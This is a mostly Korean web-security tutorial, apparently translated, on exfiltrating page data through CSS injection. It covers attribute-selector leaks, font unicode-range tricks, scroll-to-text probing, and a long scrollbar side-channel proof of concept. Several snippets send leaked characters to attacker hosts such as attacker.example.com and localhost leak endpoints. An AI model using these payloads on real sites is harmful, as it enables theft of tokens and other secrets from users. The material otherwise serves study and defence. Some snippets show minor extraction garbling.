A practical example of exploiting this technique is detailed in the provided code snippet. You can view it here.
CSS 인젝션을 위한 전제 조건
CSS 인젝션 기법이 효과적이기 위해서는 특정 조건이 충족되어야 합니다:
페이로드 길이: CSS 인젝션 벡터는 제작된 선택자를 수용할 수 있도록 충분히 긴 페이로드를 지원해야 합니다.
CSS 재평가: 새로 생성된 페이로드로 CSS의 재평가를 트리거하기 위해 페이지를 프레임할 수 있어야 합니다.
외부 리소스: 이 기법은 외부 호스팅된 이미지를 사용할 수 있는 능력을 전제로 합니다. 이는 사이트의 콘텐츠 보안 정책(CSP)에 의해 제한될 수 있습니다.
블라인드 속성 선택자
이 게시물에서 설명된 바와 같이, **:has**와 :not 선택자를 결합하여 블라인드 요소에서도 콘텐츠를 식별할 수 있습니다. 이는 CSS 인젝션을 로드하는 웹 페이지의 내용이 무엇인지 전혀 모를 때 매우 유용합니다.
또한 이러한 선택자를 사용하여 동일한 유형의 여러 블록에서 정보를 추출할 수도 있습니다:
스크립트는 매번 2개의 문자를 발견하려고 시도할 것입니다 (시작 부분과 끝 부분에서) 왜냐하면 속성 선택자는 다음과 같은 작업을 가능하게 하기 때문입니다:
/* value^= to match the beggining of the value*/input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}/* value$= to match the ending of the value*/input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
이것은 스크립트가 비밀을 더 빠르게 유출할 수 있게 해줍니다.
가끔 스크립트가 접두사 + 접미사로 발견된 것이 이미 전체 플래그임을 올바르게 감지하지 못하고 계속 앞으로(접두사)와 뒤로(접미사) 진행하여 어느 순간 멈출 수 있습니다.
걱정하지 마세요, 출력을 확인하면 거기에서 플래그를 볼 수 있습니다.
다른 선택자
CSS 선택자로 DOM 부분에 접근하는 다른 방법:
.class-to-search:nth-child(2): 이는 DOM에서 "class-to-search" 클래스를 가진 두 번째 항목을 검색합니다.
<head> 섹션의 <style> 태그 내에서 @font-face 규칙을 사용하여 커스텀 폰트를 정의합니다.
폰트 이름은 poc이며 외부 엔드포인트(http://attacker.com/?leak)에서 가져옵니다.
unicode-range 속성은 특정 유니코드 문자 'A'를 타겟으로 하여 U+0041로 설정됩니다.
대체 텍스트가 있는 객체 요소:
<body> 섹션에 id="poc0"인 <object> 요소가 생성됩니다. 이 요소는 http://192.168.0.1/favicon.ico에서 리소스를 로드하려고 시도합니다.
이 요소의 font-family는 <style> 섹션에서 정의된 'poc'로 설정됩니다.
리소스(favicon.ico) 로드에 실패하면 <object> 태그 내의 대체 콘텐츠(문자 'A')가 표시됩니다.
외부 리소스를 로드할 수 없는 경우 대체 콘텐츠('A')는 커스텀 폰트 poc를 사용하여 렌더링됩니다.
스크롤-투-텍스트 프래그먼트 스타일링
:target 의사 클래스는 CSS 선택자 레벨 4 사양에서 지정된 대로 URL 프래그먼트에 의해 타겟팅된 요소를 선택하는 데 사용됩니다. ::target-text는 텍스트가 프래그먼트에 의해 명시적으로 타겟팅되지 않는 한 어떤 요소와도 일치하지 않는다는 점을 이해하는 것이 중요합니다.
공격자가 스크롤-투-텍스트 프래그먼트 기능을 악용할 때 보안 문제가 발생하며, 이를 통해 HTML 주입을 통해 자신의 서버에서 리소스를 로드하여 웹페이지에 특정 텍스트가 존재하는지 확인할 수 있습니다. 이 방법은 다음과 같은 CSS 규칙을 주입하는 것을 포함합니다:
:target::before { content:url(target.png) }
이러한 시나리오에서 "Administrator"라는 텍스트가 페이지에 존재하면, 리소스 target.png가 서버에서 요청되어 텍스트의 존재를 나타냅니다. 이 공격의 한 예는 주입된 CSS를 Scroll-to-text 조각과 함께 포함하는 특별히 제작된 URL을 통해 실행될 수 있습니다:
여기서 공격은 HTML 주입을 조작하여 CSS 코드를 전송하며, "Administrator"라는 특정 텍스트를 목표로 합니다. Scroll-to-text fragment(#:~:text=Administrator)를 통해 텍스트가 발견되면, 지정된 리소스가 로드되어 공격자에게 그 존재를 무심코 신호합니다.
완화를 위해 다음 사항을 유의해야 합니다:
제한된 STTF 매칭: Scroll-to-text Fragment (STTF)는 단어 또는 문장만 매칭하도록 설계되어, 임의의 비밀이나 토큰이 유출되는 능력을 제한합니다.
최상위 브라우징 컨텍스트로 제한: STTF는 오직 최상위 브라우징 컨텍스트에서만 작동하며, iframe 내에서는 작동하지 않아, 어떤 악용 시도가 사용자에게 더 눈에 띄게 됩니다.
사용자 활성화 필요: STTF는 작동하기 위해 사용자 활성화 제스처가 필요하므로, 악용은 사용자 주도 탐색을 통해서만 가능하다는 의미입니다. 이 요구 사항은 사용자 상호작용 없이 공격이 자동화될 위험을 상당히 완화합니다. 그럼에도 불구하고 블로그 게시물의 저자는 공격 자동화를 용이하게 할 수 있는 특정 조건과 우회 방법(예: 사회 공학, 널리 사용되는 브라우저 확장과의 상호작용)을 지적합니다.
이러한 메커니즘과 잠재적 취약성에 대한 인식은 웹 보안을 유지하고 이러한 착취 전술로부터 보호하는 데 핵심입니다.
특정 유니코드 값에 대해 외부 글꼴을 지정할 수 있으며, 해당 유니코드 값이 페이지에 존재할 때만 수집됩니다. 예를 들어:
<style>@font-face{font-family:poc;src:url(http://attacker.example.com/?A); /* fetched */unicode-range:U+0041;}@font-face{font-family:poc;src:url(http://attacker.example.com/?B); /* fetched too */unicode-range:U+0042;}@font-face{font-family:poc;src:url(http://attacker.example.com/?C); /* not fetched */unicode-range:U+0043;}#sensitive-information{font-family:poc;}</style><pid="sensitive-information">AB</p>htm
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
이 트릭은 이 Slackers thread에서 공개되었습니다. 텍스트 노드에서 사용되는 문자 집합은 브라우저에 설치된 기본 폰트를 사용하여 유출될 수 있습니다: 외부 또는 사용자 정의 폰트가 필요하지 않습니다.
이 개념은 애니메이션을 활용하여 div의 너비를 점진적으로 확장하여 한 번에 하나의 문자가 텍스트의 '접미사' 부분에서 '접두사' 부분으로 전환되도록 하는 것입니다. 이 과정은 텍스트를 두 섹션으로 효과적으로 나눕니다:
접두사: 초기 줄.
접미사: 이후 줄.
문자의 전환 단계는 다음과 같이 나타납니다:
C
ADB
CA
DB
CAD
B
CADB
이 전환 동안, unicode-range 트릭이 사용되어 접두사에 새 문자가 추가될 때마다 이를 식별합니다. 이는 Comic Sans로 글꼴을 전환하여 이루어지며, 이는 기본 글꼴보다 눈에 띄게 더 높아 수직 스크롤바를 유발합니다. 이 스크롤바의 출현은 접두사에 새 문자가 존재함을 간접적으로 드러냅니다.
이 방법은 고유한 문자가 나타날 때 감지할 수 있지만, 어떤 문자가 반복되었는지는 명시하지 않고 단지 반복이 발생했음을 나타냅니다.
기본적으로, unicode-range는 문자를 감지하는 데 사용되지만, 외부 폰트를 로드하고 싶지 않기 때문에 다른 방법을 찾아야 합니다.
문자가 발견되면, 미리 설치된 Comic Sans 폰트가 주어져 문자가 더 커지게 하고 스크롤 바를 유발하여 발견된 문자를 유출합니다.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}@font-face{font-family:rest;src:local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}div.leak {overflow-y:auto; /* leak channel */overflow-x:hidden; /* remove false positives */height:40px; /* comic sans capitals exceed this height */font-size:0px; /* make suffix invisible */letter-spacing:0px; /* separation */word-break:break-all; /* small width split words in lines */font-family:rest; /* default */background:grey; /* default */width:0px; /* initial value */animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}div.leak::first-line{font-size:30px; /* prefix is visible in first line */text-transform:uppercase; /* only capital letters leak */}/* iterate over all chars */@keyframes trychar {0% { font-family:rest; } /* delay for width change */5% { font-family:has_A, rest; --leak:url(?a); }6% { font-family:rest; }10% { font-family:has_B, rest; --leak:url(?b); }11% { font-family:rest; }15% { font-family:has_C, rest; --leak:url(?c); }16% { font-family:rest }20% { font-family:has_D, rest; --leak:url(?d); }21% { font-family:rest; }25% { font-family:has_E, rest; --leak:url(?e); }26% { font-family:rest; }30% { font-family:has_F, rest; --leak:url(?f); }31% { font-family:rest; }35% { font-family:has_G, rest; --leak:url(?g); }36% { font-family:rest; }40% { font-family:has_H, rest; --leak:url(?h); }41% { font-family:rest }45% { font-family:has_I, rest; --leak:url(?i); }46% { font-family:rest; }50% { font-family:has_J, rest; --leak:url(?j); }51% { font-family:rest; }55% { font-family:has_K, rest; --leak:url(?k); }56% { font-family:rest; }60% { font-family:has_L, rest; --leak:url(?l); }61% { font-family:rest; }65% { font-family:has_M, rest; --leak:url(?m); }66% { font-family:rest; }70% { font-family:has_N, rest; --leak:url(?n); }71% { font-family:rest; }75% { font-family:has_O, rest; --leak:url(?o); }76% { font-family:rest; }80% { font-family:has_P, rest; --leak:url(?p); }81% { font-family:rest; }85% { font-family:has_Q, rest; --leak:url(?q); }86% { font-family:rest; }90% { font-family:has_R, rest; --leak:url(?r); }91% { font-family:rest; }95% { font-family:has_S, rest; --leak:url(?s); }96% { font-family:rest; }}/* increase width char by char, i.e. add new char to prefix */@keyframes loop {0% { width:0px }1% { width:20px }2% { width:40px }3% { width:60px }4% { width:80px }4% { width:100px }5% { width:120px }6% { width:140px }7% { width:0px }}div::-webkit-scrollbar {background:blue;}/* side-channel */div::-webkit-scrollbar:vertical {background:blue var(--leak);}
Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
이 경우는 이전 경우와 매우 유사하지만, 이 경우 특정 문자를 다른 문자보다 크게 만들어서 봇이 누르지 않도록 버튼이나 로드되지 않을 이미지를 숨기는 것이 목표입니다. 따라서 우리는 행동(또는 행동의 부재)을 측정하고 특정 문자가 텍스트 안에 존재하는지 알 수 있습니다.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
만약 일치하는 경우, 폰트는 /static/bootstrap.min.css?q=1에서 로드됩니다. 비록 성공적으로 로드되지는 않겠지만, 브라우저는 이를 캐시해야 하며, 캐시가 없더라도 304 not modified 메커니즘이 있으므로, 응답은 다른 것들보다 더 빠를 것입니다.
하지만 캐시된 응답과 비캐시된 응답의 시간 차이가 충분히 크지 않다면, 이는 유용하지 않을 것입니다. 예를 들어, 저자는 다음과 같이 언급했습니다: 그러나 테스트 후, 첫 번째 문제는 속도가 그리 다르지 않다는 것이고, 두 번째 문제는 봇이 disk-cache-size=1 플래그를 사용한다는 것입니다. 이는 정말 사려 깊습니다.
텍스트 노드 유출 (III): 수백 개의 로컬 "폰트" 로딩 시간으로 charset 유출 (외부 자산 필요 없음)
그래서, 글꼴이 일치하지 않으면 봇을 방문할 때 응답 시간은 약 30초가 될 것으로 예상됩니다. 그러나 글꼴이 일치하면 글꼴을 가져오기 위해 여러 요청이 전송되어 네트워크에 지속적인 활동이 발생합니다. 결과적으로 중지 조건을 만족하고 응답을 받는 데 더 오랜 시간이 걸립니다. 따라서 응답 시간은 글꼴 일치 여부를 판단하는 지표로 사용될 수 있습니다.